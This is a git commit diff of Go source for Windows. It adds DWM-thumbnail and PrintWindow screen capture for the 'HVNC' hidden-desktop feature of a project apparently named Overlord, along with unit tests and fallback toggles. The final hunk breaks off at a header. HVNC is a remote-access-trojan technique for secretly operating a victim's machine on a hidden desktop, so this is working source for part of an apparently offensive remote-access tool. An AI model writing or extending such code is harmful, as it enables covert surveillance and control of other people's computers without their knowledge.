add DWM for HVNC with PrintWindow fallback
This commit is contained in:
@@ -0,0 +1,515 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package capture
|
||||||
|
|
||||||
|
import (
|
||||||
|
"image"
|
||||||
|
"log"
|
||||||
|
"sync"
|
||||||
|
"sync/atomic"
|
||||||
|
"syscall"
|
||||||
|
"time"
|
||||||
|
"unsafe"
|
||||||
|
|
||||||
|
"golang.org/x/sys/windows"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
dwmapi = windows.NewLazySystemDLL("dwmapi.dll")
|
||||||
|
procDwmRegisterThumbnail = dwmapi.NewProc("DwmRegisterThumbnail")
|
||||||
|
procDwmUnregisterThumbnail = dwmapi.NewProc("DwmUnregisterThumbnail")
|
||||||
|
procDwmUpdateThumbnailProperties = dwmapi.NewProc("DwmUpdateThumbnailProperties")
|
||||||
|
procDwmQueryThumbnailSourceSize = dwmapi.NewProc("DwmQueryThumbnailSourceSize")
|
||||||
|
procDWMCreateWindowExW = user32.NewProc("CreateWindowExW")
|
||||||
|
procDWMShowWindow = user32.NewProc("ShowWindow")
|
||||||
|
procDWMUpdateWindow = user32.NewProc("UpdateWindow")
|
||||||
|
backstageDWMStateMu sync.Mutex
|
||||||
|
backstageDWMHost uintptr
|
||||||
|
backstageDWMThumbnails map[uintptr]*backstageDWMThumbnail
|
||||||
|
backstageDWMOrder []uintptr
|
||||||
|
backstageDWMLastFallbackLogUnixNano atomic.Int64
|
||||||
|
backstageDWMLastPerfLogUnixNano atomic.Int64
|
||||||
|
backstageDWMLoggedActive atomic.Bool
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
dwmTNPRectDestination = 0x00000001
|
||||||
|
dwmTNPRectSource = 0x00000002
|
||||||
|
dwmTNPVisible = 0x00000008
|
||||||
|
|
||||||
|
backstageDWMWSExTransparent = 0x00000020
|
||||||
|
backstageDWMWSExToolWindow = 0x00000080
|
||||||
|
backstageDWMWSExNoActivate = 0x08000000
|
||||||
|
backstageDWMWSDisabled = 0x08000000
|
||||||
|
backstageDWMWSVisible = 0x10000000
|
||||||
|
backstageDWMWSDisabledPopup = 0x80000000 | backstageDWMWSDisabled | backstageDWMWSVisible
|
||||||
|
backstageDWMSSBlackRect = 0x00000004
|
||||||
|
backstageDWMSWShowNoActivate = 4
|
||||||
|
backstageDWMHWNDBottom = 1
|
||||||
|
)
|
||||||
|
|
||||||
|
type dwmThumbnailProperties struct {
|
||||||
|
flags uint32
|
||||||
|
destination rect
|
||||||
|
source rect
|
||||||
|
opacity byte
|
||||||
|
_padding [3]byte
|
||||||
|
visible int32
|
||||||
|
sourceClientAreaOnly int32
|
||||||
|
}
|
||||||
|
|
||||||
|
type backstageDWMSize struct {
|
||||||
|
cx int32
|
||||||
|
cy int32
|
||||||
|
}
|
||||||
|
|
||||||
|
type backstageDWMThumbnail struct {
|
||||||
|
handle uintptr
|
||||||
|
size backstageDWMSize
|
||||||
|
}
|
||||||
|
|
||||||
|
type backstageDWMCandidate struct {
|
||||||
|
hwnd uintptr
|
||||||
|
windowRect rect
|
||||||
|
}
|
||||||
|
|
||||||
|
type backstageDWMPerf struct {
|
||||||
|
outputW int
|
||||||
|
outputH int
|
||||||
|
windows int
|
||||||
|
rebuilt bool
|
||||||
|
setup time.Duration
|
||||||
|
enumerate time.Duration
|
||||||
|
register time.Duration
|
||||||
|
update time.Duration
|
||||||
|
readback time.Duration
|
||||||
|
validate time.Duration
|
||||||
|
total time.Duration
|
||||||
|
success bool
|
||||||
|
failure string
|
||||||
|
}
|
||||||
|
|
||||||
|
func backstageIsDWMHost(hwnd uintptr) bool {
|
||||||
|
if hwnd == 0 {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
backstageDWMStateMu.Lock()
|
||||||
|
isHost := backstageDWMHost == hwnd
|
||||||
|
backstageDWMStateMu.Unlock()
|
||||||
|
return isHost
|
||||||
|
}
|
||||||
|
|
||||||
|
func drawbackstageStagingFromDWM(hdcMem uintptr, bounds image.Rectangle, outputW, outputH int, target []byte) (success bool) {
|
||||||
|
if hdcMem == 0 || bounds.Empty() || outputW <= 0 || outputH <= 0 {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
started := time.Now()
|
||||||
|
perf := backstageDWMPerf{outputW: outputW, outputH: outputH}
|
||||||
|
defer func() {
|
||||||
|
perf.success = success
|
||||||
|
perf.total = time.Since(started)
|
||||||
|
backstageLogDWMPerf(perf, bounds)
|
||||||
|
}()
|
||||||
|
|
||||||
|
backstageDWMStateMu.Lock()
|
||||||
|
defer backstageDWMStateMu.Unlock()
|
||||||
|
|
||||||
|
stageStarted := time.Now()
|
||||||
|
host := backstageEnsureDWMHostLocked(bounds, outputW, outputH)
|
||||||
|
perf.setup = time.Since(stageStarted)
|
||||||
|
if host == 0 {
|
||||||
|
perf.failure = "host"
|
||||||
|
backstageLogDWMFallback("staging window is unavailable")
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
stageStarted = time.Now()
|
||||||
|
candidates := backstageCollectDWMCandidatesLocked(host, bounds)
|
||||||
|
perf.enumerate = time.Since(stageStarted)
|
||||||
|
perf.windows = len(candidates)
|
||||||
|
if len(candidates) == 0 {
|
||||||
|
perf.failure = "no_sources"
|
||||||
|
backstageLogDWMFallback("no source windows are available")
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
order := make([]uintptr, len(candidates))
|
||||||
|
for index, candidate := range candidates {
|
||||||
|
order[index] = candidate.hwnd
|
||||||
|
}
|
||||||
|
if !backstageDWMOrdersEqual(backstageDWMOrder, order) {
|
||||||
|
perf.rebuilt = true
|
||||||
|
backstageUnregisterDWMThumbnailsLocked()
|
||||||
|
backstageDWMOrder = append(backstageDWMOrder[:0], order...)
|
||||||
|
}
|
||||||
|
if backstageDWMThumbnails == nil {
|
||||||
|
backstageDWMThumbnails = make(map[uintptr]*backstageDWMThumbnail)
|
||||||
|
}
|
||||||
|
|
||||||
|
registerStarted := time.Now()
|
||||||
|
updated := 0
|
||||||
|
for _, candidate := range candidates {
|
||||||
|
entry := backstageDWMThumbnails[candidate.hwnd]
|
||||||
|
if entry == nil {
|
||||||
|
entry = backstageRegisterDWMThumbnailLocked(host, candidate.hwnd)
|
||||||
|
if entry == nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
backstageDWMThumbnails[candidate.hwnd] = entry
|
||||||
|
}
|
||||||
|
}
|
||||||
|
perf.register = time.Since(registerStarted)
|
||||||
|
|
||||||
|
updateStarted := time.Now()
|
||||||
|
for _, candidate := range candidates {
|
||||||
|
entry := backstageDWMThumbnails[candidate.hwnd]
|
||||||
|
if entry == nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
destinationRect, sourceRect, ok := backstageDWMThumbnailRects(
|
||||||
|
candidate.windowRect,
|
||||||
|
bounds,
|
||||||
|
int(entry.size.cx),
|
||||||
|
int(entry.size.cy),
|
||||||
|
outputW,
|
||||||
|
outputH,
|
||||||
|
)
|
||||||
|
if !ok {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
properties := dwmThumbnailProperties{
|
||||||
|
flags: dwmTNPRectDestination | dwmTNPRectSource | dwmTNPVisible,
|
||||||
|
destination: destinationRect,
|
||||||
|
source: sourceRect,
|
||||||
|
opacity: 255,
|
||||||
|
visible: 1,
|
||||||
|
}
|
||||||
|
result, _, _ := procDwmUpdateThumbnailProperties.Call(
|
||||||
|
entry.handle,
|
||||||
|
uintptr(unsafe.Pointer(&properties)),
|
||||||
|
)
|
||||||
|
if int32(result) >= 0 {
|
||||||
|
updated++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
perf.update = time.Since(updateStarted)
|
||||||
|
if updated == 0 {
|
||||||
|
perf.failure = "update"
|
||||||
|
backstageLogDWMFallback("no thumbnail relationships were updated")
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
readbackStarted := time.Now()
|
||||||
|
if !printWindow(host, hdcMem, PW_RENDERFULLCONTENT) {
|
||||||
|
perf.readback = time.Since(readbackStarted)
|
||||||
|
perf.failure = "readback"
|
||||||
|
backstageLogDWMFallback("PrintWindow staging readback failed")
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
perf.readback = time.Since(readbackStarted)
|
||||||
|
|
||||||
|
validateStarted := time.Now()
|
||||||
|
if !backstageDWMFrameHasContent(target) {
|
||||||
|
perf.validate = time.Since(validateStarted)
|
||||||
|
perf.failure = "empty"
|
||||||
|
backstageLogDWMFallback("PrintWindow staging readback was empty")
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
perf.validate = time.Since(validateStarted)
|
||||||
|
if backstageDWMLoggedActive.CompareAndSwap(false, true) {
|
||||||
|
log.Printf("backstage dwm: staging thumbnail composite active (%d windows, %dx%d)", updated, outputW, outputH)
|
||||||
|
}
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
func backstageEnsureDWMHostLocked(bounds image.Rectangle, outputW, outputH int) uintptr {
|
||||||
|
if backstageDWMHost == 0 {
|
||||||
|
className, err := syscall.UTF16PtrFromString("Static")
|
||||||
|
if err != nil {
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
title, err := syscall.UTF16PtrFromString("Overlord DWM Backstage Staging")
|
||||||
|
if err != nil {
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
host, _, _ := procDWMCreateWindowExW.Call(
|
||||||
|
backstageDWMWSExTransparent|backstageDWMWSExToolWindow|backstageDWMWSExNoActivate,
|
||||||
|
uintptr(unsafe.Pointer(className)),
|
||||||
|
uintptr(unsafe.Pointer(title)),
|
||||||
|
backstageDWMWSDisabledPopup|backstageDWMSSBlackRect,
|
||||||
|
uintptr(int32(bounds.Min.X)),
|
||||||
|
uintptr(int32(bounds.Min.Y)),
|
||||||
|
uintptr(int32(outputW)),
|
||||||
|
uintptr(int32(outputH)),
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
)
|
||||||
|
if host == 0 {
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
backstageDWMHost = host
|
||||||
|
procDWMShowWindow.Call(host, backstageDWMSWShowNoActivate)
|
||||||
|
procDWMUpdateWindow.Call(host)
|
||||||
|
}
|
||||||
|
|
||||||
|
procSetWindowPos.Call(
|
||||||
|
backstageDWMHost,
|
||||||
|
backstageDWMHWNDBottom,
|
||||||
|
uintptr(int32(bounds.Min.X)),
|
||||||
|
uintptr(int32(bounds.Min.Y)),
|
||||||
|
uintptr(int32(outputW)),
|
||||||
|
uintptr(int32(outputH)),
|
||||||
|
SWP_NOACTIVATE|SWP_SHOWWINDOW,
|
||||||
|
)
|
||||||
|
return backstageDWMHost
|
||||||
|
}
|
||||||
|
|
||||||
|
func backstageCollectDWMCandidatesLocked(host uintptr, bounds image.Rectangle) []backstageDWMCandidate {
|
||||||
|
var candidates []backstageDWMCandidate
|
||||||
|
hwnd := getTopWindow(0)
|
||||||
|
if hwnd != 0 {
|
||||||
|
hwnd = getWindow(hwnd, GW_HWNDLAST)
|
||||||
|
}
|
||||||
|
for hwnd != 0 {
|
||||||
|
next := getWindow(hwnd, GW_HWNDPREV)
|
||||||
|
if hwnd != host && isWindowVisible(hwnd) {
|
||||||
|
var windowRect rect
|
||||||
|
ok, _, _ := procGetWindowRect.Call(hwnd, uintptr(unsafe.Pointer(&windowRect)))
|
||||||
|
if ok != 0 &&
|
||||||
|
windowRect.right > windowRect.left &&
|
||||||
|
windowRect.bottom > windowRect.top &&
|
||||||
|
rectIntersectsImage(windowRect, bounds) {
|
||||||
|
candidates = append(candidates, backstageDWMCandidate{
|
||||||
|
hwnd: hwnd,
|
||||||
|
windowRect: windowRect,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
hwnd = next
|
||||||
|
}
|
||||||
|
return candidates
|
||||||
|
}
|
||||||
|
|
||||||
|
func backstageRegisterDWMThumbnailLocked(host, source uintptr) *backstageDWMThumbnail {
|
||||||
|
var thumbnail uintptr
|
||||||
|
result, _, _ := procDwmRegisterThumbnail.Call(
|
||||||
|
host,
|
||||||
|
source,
|
||||||
|
uintptr(unsafe.Pointer(&thumbnail)),
|
||||||
|
)
|
||||||
|
if int32(result) < 0 || thumbnail == 0 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
var size backstageDWMSize
|
||||||
|
queryResult, _, _ := procDwmQueryThumbnailSourceSize.Call(
|
||||||
|
thumbnail,
|
||||||
|
uintptr(unsafe.Pointer(&size)),
|
||||||
|
)
|
||||||
|
if int32(queryResult) < 0 || size.cx <= 0 || size.cy <= 0 {
|
||||||
|
var windowRect rect
|
||||||
|
ok, _, _ := procGetWindowRect.Call(source, uintptr(unsafe.Pointer(&windowRect)))
|
||||||
|
if ok == 0 {
|
||||||
|
procDwmUnregisterThumbnail.Call(thumbnail)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
size.cx = windowRect.right - windowRect.left
|
||||||
|
size.cy = windowRect.bottom - windowRect.top
|
||||||
|
}
|
||||||
|
return &backstageDWMThumbnail{handle: thumbnail, size: size}
|
||||||
|
}
|
||||||
|
|
||||||
|
func backstageDWMThumbnailRects(windowRect rect, bounds image.Rectangle, sourceW, sourceH, outputW, outputH int) (rect, rect, bool) {
|
||||||
|
winW := int(windowRect.right - windowRect.left)
|
||||||
|
winH := int(windowRect.bottom - windowRect.top)
|
||||||
|
boundsW := bounds.Dx()
|
||||||
|
boundsH := bounds.Dy()
|
||||||
|
if winW <= 0 || winH <= 0 || sourceW <= 0 || sourceH <= 0 ||
|
||||||
|
boundsW <= 0 || boundsH <= 0 || outputW <= 0 || outputH <= 0 {
|
||||||
|
return rect{}, rect{}, false
|
||||||
|
}
|
||||||
|
|
||||||
|
left := maxInt(int(windowRect.left), bounds.Min.X)
|
||||||
|
top := maxInt(int(windowRect.top), bounds.Min.Y)
|
||||||
|
right := minInt(int(windowRect.right), bounds.Max.X)
|
||||||
|
bottom := minInt(int(windowRect.bottom), bounds.Max.Y)
|
||||||
|
if right <= left || bottom <= top {
|
||||||
|
return rect{}, rect{}, false
|
||||||
|
}
|
||||||
|
|
||||||
|
destination := rect{
|
||||||
|
left: int32((left - bounds.Min.X) * outputW / boundsW),
|
||||||
|
top: int32((top - bounds.Min.Y) * outputH / boundsH),
|
||||||
|
right: int32(((right-bounds.Min.X)*outputW + boundsW - 1) / boundsW),
|
||||||
|
bottom: int32(((bottom-bounds.Min.Y)*outputH + boundsH - 1) / boundsH),
|
||||||
|
}
|
||||||
|
source := rect{
|
||||||
|
left: int32((left - int(windowRect.left)) * sourceW / winW),
|
||||||
|
top: int32((top - int(windowRect.top)) * sourceH / winH),
|
||||||
|
right: int32(((right-int(windowRect.left))*sourceW + winW - 1) / winW),
|
||||||
|
bottom: int32(((bottom-int(windowRect.top))*sourceH + winH - 1) / winH),
|
||||||
|
}
|
||||||
|
if source.right > int32(sourceW) {
|
||||||
|
source.right = int32(sourceW)
|
||||||
|
}
|
||||||
|
if source.bottom > int32(sourceH) {
|
||||||
|
source.bottom = int32(sourceH)
|
||||||
|
}
|
||||||
|
return destination, source, true
|
||||||
|
}
|
||||||
|
|
||||||
|
func rectIntersectsImage(windowRect rect, bounds image.Rectangle) bool {
|
||||||
|
return int(windowRect.right) > bounds.Min.X &&
|
||||||
|
int(windowRect.left) < bounds.Max.X &&
|
||||||
|
int(windowRect.bottom) > bounds.Min.Y &&
|
||||||
|
int(windowRect.top) < bounds.Max.Y
|
||||||
|
}
|
||||||
|
|
||||||
|
func backstageDWMOrdersEqual(left, right []uintptr) bool {
|
||||||
|
if len(left) != len(right) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
for index := range left {
|
||||||
|
if left[index] != right[index] {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
func backstageDWMFrameHasContent(frame []byte) bool {
|
||||||
|
if len(frame) < 4 {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
stepPixels := len(frame) / 4 / (128 * 128)
|
||||||
|
if stepPixels < 1 {
|
||||||
|
stepPixels = 1
|
||||||
|
}
|
||||||
|
step := stepPixels * 4
|
||||||
|
for offset := 0; offset+2 < len(frame); offset += step {
|
||||||
|
if frame[offset]|frame[offset+1]|frame[offset+2] != 0 {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
func backstageEnsureDWMCompCache(w, h int) (uintptr, []byte, bool) {
|
||||||
|
if backstageCompHdcMem != 0 &&
|
||||||
|
backstageCompW == w &&
|
||||||
|
backstageCompH == h &&
|
||||||
|
backstageCompBits != nil {
|
||||||
|
return backstageCompHdcMem, unsafe.Slice((*byte)(backstageCompBits), w*h*4), true
|
||||||
|
}
|
||||||
|
|
||||||
|
if backstageCompHbmp != 0 {
|
||||||
|
deleteObject(backstageCompHbmp)
|
||||||
|
backstageCompHbmp = 0
|
||||||
|
}
|
||||||
|
if backstageCompHdcMem != 0 {
|
||||||
|
deleteDC(backstageCompHdcMem)
|
||||||
|
backstageCompHdcMem = 0
|
||||||
|
}
|
||||||
|
backstageCompBits = nil
|
||||||
|
backstageCompW = 0
|
||||||
|
backstageCompH = 0
|
||||||
|
|
||||||
|
screenDC := getDC(0)
|
||||||
|
if screenDC == 0 {
|
||||||
|
return 0, nil, false
|
||||||
|
}
|
||||||
|
backstageCompHdcMem = createCompatibleDC(screenDC)
|
||||||
|
releaseDC(0, screenDC)
|
||||||
|
if backstageCompHdcMem == 0 {
|
||||||
|
return 0, nil, false
|
||||||
|
}
|
||||||
|
|
||||||
|
info := bitmapInfo{
|
||||||
|
bmiHeader: bitmapInfoHeader{
|
||||||
|
biSize: uint32(unsafe.Sizeof(bitmapInfoHeader{})),
|
||||||
|
biWidth: int32(w),
|
||||||
|
biHeight: -int32(h),
|
||||||
|
biPlanes: 1,
|
||||||
|
biBitCount: 32,
|
||||||
|
biCompression: BI_RGB,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
backstageCompHbmp = createDIBSection(
|
||||||
|
backstageCompHdcMem,
|
||||||
|
&info,
|
||||||
|
DIB_RGB_COLORS,
|
||||||
|
&backstageCompBits,
|
||||||
|
)
|
||||||
|
if backstageCompHbmp == 0 || backstageCompBits == nil {
|
||||||
|
deleteDC(backstageCompHdcMem)
|
||||||
|
backstageCompHdcMem = 0
|
||||||
|
backstageCompBits = nil
|
||||||
|
return 0, nil, false
|
||||||
|
}
|
||||||
|
selectObject(backstageCompHdcMem, backstageCompHbmp)
|
||||||
|
backstageCompW = w
|
||||||
|
backstageCompH = h
|
||||||
|
return backstageCompHdcMem, unsafe.Slice((*byte)(backstageCompBits), w*h*4), true
|
||||||
|
}
|
||||||
|
|
||||||
|
func backstageCleanupDWMThumbnails() {
|
||||||
|
backstageDWMStateMu.Lock()
|
||||||
|
defer backstageDWMStateMu.Unlock()
|
||||||
|
backstageUnregisterDWMThumbnailsLocked()
|
||||||
|
if backstageDWMHost != 0 {
|
||||||
|
procDWMShowWindow.Call(backstageDWMHost, 0)
|
||||||
|
}
|
||||||
|
backstageDWMHost = 0
|
||||||
|
}
|
||||||
|
|
||||||
|
func backstageUnregisterDWMThumbnailsLocked() {
|
||||||
|
for source, entry := range backstageDWMThumbnails {
|
||||||
|
procDwmUnregisterThumbnail.Call(entry.handle)
|
||||||
|
delete(backstageDWMThumbnails, source)
|
||||||
|
}
|
||||||
|
backstageDWMThumbnails = nil
|
||||||
|
backstageDWMOrder = nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func backstageLogDWMFallback(reason string) {
|
||||||
|
now := time.Now().UnixNano()
|
||||||
|
last := backstageDWMLastFallbackLogUnixNano.Load()
|
||||||
|
if now-last < int64(5*time.Second) ||
|
||||||
|
!backstageDWMLastFallbackLogUnixNano.CompareAndSwap(last, now) {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
log.Printf("backstage dwm: %s; using DXGI/PrintWindow fallback", reason)
|
||||||
|
}
|
||||||
|
|
||||||
|
func backstageLogDWMPerf(perf backstageDWMPerf, bounds image.Rectangle) {
|
||||||
|
if !captureMetricsEnabled() {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
now := time.Now().UnixNano()
|
||||||
|
last := backstageDWMLastPerfLogUnixNano.Load()
|
||||||
|
if now-last < int64(5*time.Second) ||
|
||||||
|
!backstageDWMLastPerfLogUnixNano.CompareAndSwap(last, now) {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
log.Printf(
|
||||||
|
"backstage dwm perf: success=%v failure=%s source=%dx%d output=%dx%d windows=%d rebuilt=%v setup=%s enum=%s register=%s update=%s readback=%s validate=%s total=%s",
|
||||||
|
perf.success,
|
||||||
|
perf.failure,
|
||||||
|
bounds.Dx(),
|
||||||
|
bounds.Dy(),
|
||||||
|
perf.outputW,
|
||||||
|
perf.outputH,
|
||||||
|
perf.windows,
|
||||||
|
perf.rebuilt,
|
||||||
|
perf.setup,
|
||||||
|
perf.enumerate,
|
||||||
|
perf.register,
|
||||||
|
perf.update,
|
||||||
|
perf.readback,
|
||||||
|
perf.validate,
|
||||||
|
perf.total,
|
||||||
|
)
|
||||||
|
}
|
||||||
@@ -0,0 +1,128 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package capture
|
||||||
|
|
||||||
|
import (
|
||||||
|
"image"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestBackstageDWMFrameHasContent(t *testing.T) {
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
frame []byte
|
||||||
|
want bool
|
||||||
|
}{
|
||||||
|
{name: "nil", frame: nil, want: false},
|
||||||
|
{name: "short", frame: []byte{1, 2, 3}, want: false},
|
||||||
|
{name: "black", frame: make([]byte, 64), want: false},
|
||||||
|
{name: "alpha only", frame: []byte{0, 0, 0, 255}, want: false},
|
||||||
|
{name: "blue", frame: []byte{1, 0, 0, 0}, want: true},
|
||||||
|
{name: "green", frame: []byte{0, 1, 0, 0}, want: true},
|
||||||
|
{name: "red", frame: []byte{0, 0, 1, 0}, want: true},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tt := range tests {
|
||||||
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
|
if got := backstageDWMFrameHasContent(tt.frame); got != tt.want {
|
||||||
|
t.Fatalf("backstageDWMFrameHasContent() = %v, want %v", got, tt.want)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestBackstageDWMThumbnailRects(t *testing.T) {
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
window rect
|
||||||
|
bounds image.Rectangle
|
||||||
|
sourceW int
|
||||||
|
sourceH int
|
||||||
|
outputW int
|
||||||
|
outputH int
|
||||||
|
wantDest rect
|
||||||
|
wantSource rect
|
||||||
|
wantOK bool
|
||||||
|
}{
|
||||||
|
{
|
||||||
|
name: "fully visible",
|
||||||
|
window: rect{left: 100, top: 50, right: 500, bottom: 350},
|
||||||
|
bounds: image.Rect(0, 0, 1920, 1080),
|
||||||
|
sourceW: 400,
|
||||||
|
sourceH: 300,
|
||||||
|
outputW: 1920,
|
||||||
|
outputH: 1080,
|
||||||
|
wantDest: rect{left: 100, top: 50, right: 500, bottom: 350},
|
||||||
|
wantSource: rect{left: 0, top: 0, right: 400, bottom: 300},
|
||||||
|
wantOK: true,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "clipped left and top",
|
||||||
|
window: rect{left: -100, top: -50, right: 300, bottom: 250},
|
||||||
|
bounds: image.Rect(0, 0, 1920, 1080),
|
||||||
|
sourceW: 800,
|
||||||
|
sourceH: 600,
|
||||||
|
outputW: 1920,
|
||||||
|
outputH: 1080,
|
||||||
|
wantDest: rect{left: 0, top: 0, right: 300, bottom: 250},
|
||||||
|
wantSource: rect{left: 200, top: 100, right: 800, bottom: 600},
|
||||||
|
wantOK: true,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "outside",
|
||||||
|
window: rect{left: 2000, top: 100, right: 2200, bottom: 300},
|
||||||
|
bounds: image.Rect(0, 0, 1920, 1080),
|
||||||
|
sourceW: 200,
|
||||||
|
sourceH: 200,
|
||||||
|
outputW: 1920,
|
||||||
|
outputH: 1080,
|
||||||
|
wantOK: false,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "scaled output",
|
||||||
|
window: rect{left: 100, top: 50, right: 500, bottom: 350},
|
||||||
|
bounds: image.Rect(0, 0, 1920, 1080),
|
||||||
|
sourceW: 400,
|
||||||
|
sourceH: 300,
|
||||||
|
outputW: 960,
|
||||||
|
outputH: 540,
|
||||||
|
wantDest: rect{left: 50, top: 25, right: 250, bottom: 175},
|
||||||
|
wantSource: rect{left: 0, top: 0, right: 400, bottom: 300},
|
||||||
|
wantOK: true,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tt := range tests {
|
||||||
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
|
dest, source, ok := backstageDWMThumbnailRects(
|
||||||
|
tt.window,
|
||||||
|
tt.bounds,
|
||||||
|
tt.sourceW,
|
||||||
|
tt.sourceH,
|
||||||
|
tt.outputW,
|
||||||
|
tt.outputH,
|
||||||
|
)
|
||||||
|
if ok != tt.wantOK {
|
||||||
|
t.Fatalf("ok = %v, want %v", ok, tt.wantOK)
|
||||||
|
}
|
||||||
|
if dest != tt.wantDest {
|
||||||
|
t.Fatalf("destination = %+v, want %+v", dest, tt.wantDest)
|
||||||
|
}
|
||||||
|
if source != tt.wantSource {
|
||||||
|
t.Fatalf("source = %+v, want %+v", source, tt.wantSource)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestBackstageDWMOrdersEqual(t *testing.T) {
|
||||||
|
if !backstageDWMOrdersEqual([]uintptr{1, 2, 3}, []uintptr{1, 2, 3}) {
|
||||||
|
t.Fatal("matching order was reported as changed")
|
||||||
|
}
|
||||||
|
if backstageDWMOrdersEqual([]uintptr{1, 2, 3}, []uintptr{1, 3, 2}) {
|
||||||
|
t.Fatal("z-order change was not detected")
|
||||||
|
}
|
||||||
|
if backstageDWMOrdersEqual([]uintptr{1, 2}, []uintptr{1, 2, 3}) {
|
||||||
|
t.Fatal("window addition was not detected")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,22 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package capture
|
||||||
|
|
||||||
|
import "testing"
|
||||||
|
|
||||||
|
func TestBackstagePrintWindowFallbackToggle(t *testing.T) {
|
||||||
|
SetbackstagePrintWindowFallbackEnabled(true)
|
||||||
|
t.Cleanup(func() { SetbackstagePrintWindowFallbackEnabled(true) })
|
||||||
|
|
||||||
|
if !GetbackstagePrintWindowFallbackEnabled() {
|
||||||
|
t.Fatal("PrintWindow fallback must be enabled by default")
|
||||||
|
}
|
||||||
|
SetbackstagePrintWindowFallbackEnabled(false)
|
||||||
|
if GetbackstagePrintWindowFallbackEnabled() {
|
||||||
|
t.Fatal("PrintWindow fallback did not disable")
|
||||||
|
}
|
||||||
|
SetbackstagePrintWindowFallbackEnabled(true)
|
||||||
|
if !GetbackstagePrintWindowFallbackEnabled() {
|
||||||
|
t.Fatal("PrintWindow fallback did not re-enable")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -19,6 +19,10 @@ func SetbackstageDXGIEnabled(enabled bool) {}
|
|||||||
|
|
||||||
func GetbackstageDXGIEnabled() bool { return false }
|
func GetbackstageDXGIEnabled() bool { return false }
|
||||||
|
|
||||||
|
func SetbackstagePrintWindowFallbackEnabled(enabled bool) {}
|
||||||
|
|
||||||
|
func GetbackstagePrintWindowFallbackEnabled() bool { return false }
|
||||||
|
|
||||||
func SetbackstageUIAEnabled(enabled bool) {}
|
func SetbackstageUIAEnabled(enabled bool) {}
|
||||||
|
|
||||||
func GetbackstageUIAEnabled() bool { return false }
|
func GetbackstageUIAEnabled() bool { return false }
|
||||||
|
|||||||
@@ -32,8 +32,8 @@ var (
|
|||||||
procGetWindow = user32.NewProc("GetWindow")
|
procGetWindow = user32.NewProc("GetWindow")
|
||||||
procGetTopWindow = user32.NewProc("GetTopWindow")
|
procGetTopWindow = user32.NewProc("GetTopWindow")
|
||||||
procCreateProcessW = kernel32.NewProc("CreateProcessW")
|
procCreateProcessW = kernel32.NewProc("CreateProcessW")
|
||||||
procSendInputbackstage = user32.NewProc("SendInput")
|
procSendInputbackstage = user32.NewProc("SendInput")
|
||||||
procGetCursorPosbackstage = user32.NewProc("GetCursorPos")
|
procGetCursorPosbackstage = user32.NewProc("GetCursorPos")
|
||||||
procWindowFromPoint = user32.NewProc("WindowFromPoint")
|
procWindowFromPoint = user32.NewProc("WindowFromPoint")
|
||||||
procScreenToClient = user32.NewProc("ScreenToClient")
|
procScreenToClient = user32.NewProc("ScreenToClient")
|
||||||
procPostMessageW = user32.NewProc("PostMessageW")
|
procPostMessageW = user32.NewProc("PostMessageW")
|
||||||
@@ -148,7 +148,7 @@ const (
|
|||||||
GA_ROOT = 2
|
GA_ROOT = 2
|
||||||
SMTO_ABORTIFHUNG = 0x0002
|
SMTO_ABORTIFHUNG = 0x0002
|
||||||
|
|
||||||
GWL_EXSTYLE = -20
|
GWL_EXSTYLE = -20
|
||||||
WS_EX_TOOLWINDOW = 0x00000080
|
WS_EX_TOOLWINDOW = 0x00000080
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -377,6 +377,7 @@ func CleanupbackstageDesktop() {
|
|||||||
